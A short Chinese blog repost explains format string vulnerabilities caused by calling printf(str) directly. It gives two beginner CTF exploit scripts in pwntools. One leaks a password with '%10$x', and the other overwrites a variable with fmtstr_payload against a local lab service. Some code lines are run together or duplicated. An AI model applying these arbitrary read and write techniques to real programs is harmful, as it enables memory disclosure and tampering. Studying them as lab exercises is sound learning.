pwn-格式化字符串漏洞
阅读原文时间:2021年04月20日阅读:1

原理:因为没有正确使用printf()函数

正确使用 : printf('%s',str)

不正规使用:printf(str)

控制字符串str可以爆出stack内内容从而实现任意地址读或者任意地址写

---------------------------入门题01--------------------------------------

18行存在格式化字符串漏洞

只需输入在hello之后输入password所在地址,接收password值再传入进行比较即可

exp:

from pwn import * r = remote("127.0.0.1",4000) from pwn import *

r = remote("127.0.0.1",4000)

pass_addr = 0x804A048
r.recvuntil('?')
r.sendline(p32(pass_addr)+'#' +'%10$x'+'#' )
r.recvuntil('#')

key =  str(u32(r.recvuntil('#')[:4]))

r.recvuntil(':')
r.sendline(key)

r.interactive()

---------------------------入门题02--------------------------------------

使用pwntools提供的fmtstr_payload(offset, {addr: value })函数实现地址写入

首先输入一个字符串与n个%x找到字符串被爆出的位置

再使用fmtstr_payload写入x变量即可

exp:

from pwn import * r=remote('127.0.0.1',4000)
x_addr = 0x804A02C r.sendline(fmtstr_payload(7, {x_addr:0x14368792 }))
r.interactive()

转载于:https://www.cnblogs.com/Aiden-/p/9638031.html